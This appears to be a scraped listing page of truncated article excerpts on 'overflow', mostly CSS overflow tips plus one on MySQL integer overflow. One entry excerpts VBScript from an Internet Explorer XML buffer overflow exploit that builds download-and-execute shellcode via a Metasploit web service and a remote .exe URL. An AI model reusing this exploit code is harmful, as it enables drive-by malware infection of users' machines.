• Handling method of MySQL numeric type overflow


    Let’s ask you a question. What happens when a column is set to int (0) in MySQL? To illustrate this problem, we need to create a table first DROP TABLE IF EXISTS `na`; CREATE TABLE `na` ( n1 INT(0) NOT NULL DEFAULT ‘0’, n2 INT(11) NOT NULL DEFAULT ‘0’ ); Then we use the following […]

  • Table adaptation and overflow of some of the settings explained in detail


    1. Two properties of table reset: ① Border collapse: collapse; / * set merge border model for table*/ ② Border spacing: 0; / * sets the spacing between cells in the table to 0*/ code: <div class=”fz”> <div style=”width: 600px;” class=”bg-grey p10″> <table class=”bg-white”> <tr> < th > serial number < / th > < […]

  • CSS overflow: usage of hidden (overflow hiding and floating clearing)


    Overflow hiding It means hiding the text or image information beyond the specified height. <!DOCTYPE html> <html lang=”en”> <head> <meta charset=”UTF-8″> <title>Document</title> <style type=”text/css”> div {background-color: yellow;width: 350px;height: 100px;overflow: hidden;} </style> </head> <body> <p>The content in the element exceeds the given width and height attributes. The overflow attribute < br > determines how to display […]

  • MS Internet Explorer XML parsing buffer overflow exploit (Vista) 0day


    ‘code by lcx On Error Resume Next Exeurl = InputBox (“please enter the address of exe:”, “input”, “http://www.haiyangtop.net/333.exe”)url=”http://www.metasploit.com:55555/PAYLOADS?parent=GLOB%280x25bfa38%29&MODULE=win32_downloadexec&MODE=GENERATE&OPT_URL=”&URLEncoding(Exeurl)&”&MaxSize=&BadChars=0x00+&ENCODER=default&ACTION=Generate+Payload” Body = getHTTPPage(url) Set Re = New RegExp Re.Pattern = “(\$shellcode \=[\s\S]+</div></pre>)” Set Matches = Re.Execute(Body) If Matches.Count>0 Then Body = Matches(0).value code=Trim(Replace(Replace(replace(Replace(Replace(Replace(Replace(Body,”$shellcode =”,””),Chr(34),””),Chr(13),””),”;”,””),”</div></pre>”,””),Chr(10),””),”.”,””)) function replaceregex(str) set regex=new regExp regex.pattern=”\\x(..)\\x(..)” regex.IgnoreCase=true regex.global=true matches=regex.replace(str,”%u$2$1″) replaceregex=matches end Function Function […]

  • Use overflow: hidden to disable page scrollbars


    Copy code The code is as follows: html { overflow: hidden; } body { overflow: hidden; } In IE6 and IE7, you need to set HTML to be effective. In other standard browsers, you can set body

  • CSS set overflow to hide scroll bar and scroll at the same time


    CSS sets overflow to hide scrollbars and scroll at the same time. The specific code is as follows: .scroll-list ul{ white-space: nowrap; -webkit-overflow-scrolling: touch; overflow-x: auto; overflow-y: hidden; padding: 0 0.1rem; margin-bottom: -.2rem; overflow: -moz-scrollbars-none; overflow: -moz-scrollbars-none; } .scroll-list ul::-webkit-scrollbar{ display: none; } summary The above-mentioned is the CSS settings that Xiaobian introduced to you. […]

  • An example of ellipsis when CSS multiline text overflows


    Ellipsis sign when multiline text overflows Two methods are recommended in this paper. 1. css Tip: Browsers compatible with the chrome kernel only. FF does not support it. .box { Overflow: hidden; /* does not display overflow content when overflow occurs*/ Text-overflow: ellipsis; /* use ellipsis instead of ellipsis when overflow occurs*/ Display: – webkit-box; […]

  • Understanding CSS Overflow: hidden – Overflow, Collapse, Clear Float


    Overflow: hidden is a magical use of overflow attributes, which can help us hide overflow elements, remove floats and remove collapses. When an attribute has so many functions, it’s hard to grasp, but don’t be afraid. Just believe: After reading this article, I believe you can absolutely master the usage of overflow: hidden. The following […]

  • Overall understanding of html.css spillovers


    Overall understanding of html.css spillovers XML/HTML CodeCopy content to clipboard <!DOCTYPE html>   <!DOCTYPE html>   <html>   <head>       <title></title>       <meta charset=“utf-8”>       <style type=“text/css”>       div{       height: 110px;       width: 250px;       border: 1px solid red;       }       .a{overflow: visible;       }       .b{overflow: hidden;       }       .c{overflow: scroll;       }       .d{overflow: auto;       }      </style>   </head>   <body>   <div class=“a” >   I’ve been working hard to be with you. Now, it’s impossible to follow behind you. Everyone has been persistent, and […]

  • Discussion on CSS spillover mechanism


    Why do we need to learn more about CSS spillover mechanism? In the actual development process, content spillovers are common. If you don’t have a deep understanding of this mechanism, you often encounter the question: Why is this element not affected by the overflow: hidden of the ancestral element? Which element is the scrollbar that […]

  • CSS overflow-scroll-with-padding (Webkit VS Firefox)


    Scenario: There is a container with a certain width and height and an inner margin. When the contents of the container (sub-elements) exceed the container, a scroll bar appears. This scenario is inconsistent between Chrome and Firefox (IE), with border-box layout. The code is as follows: <!DOCTYPE html> <html lang=”en”> <head> <meta charset=”UTF-8″ /> <title>title</title> […]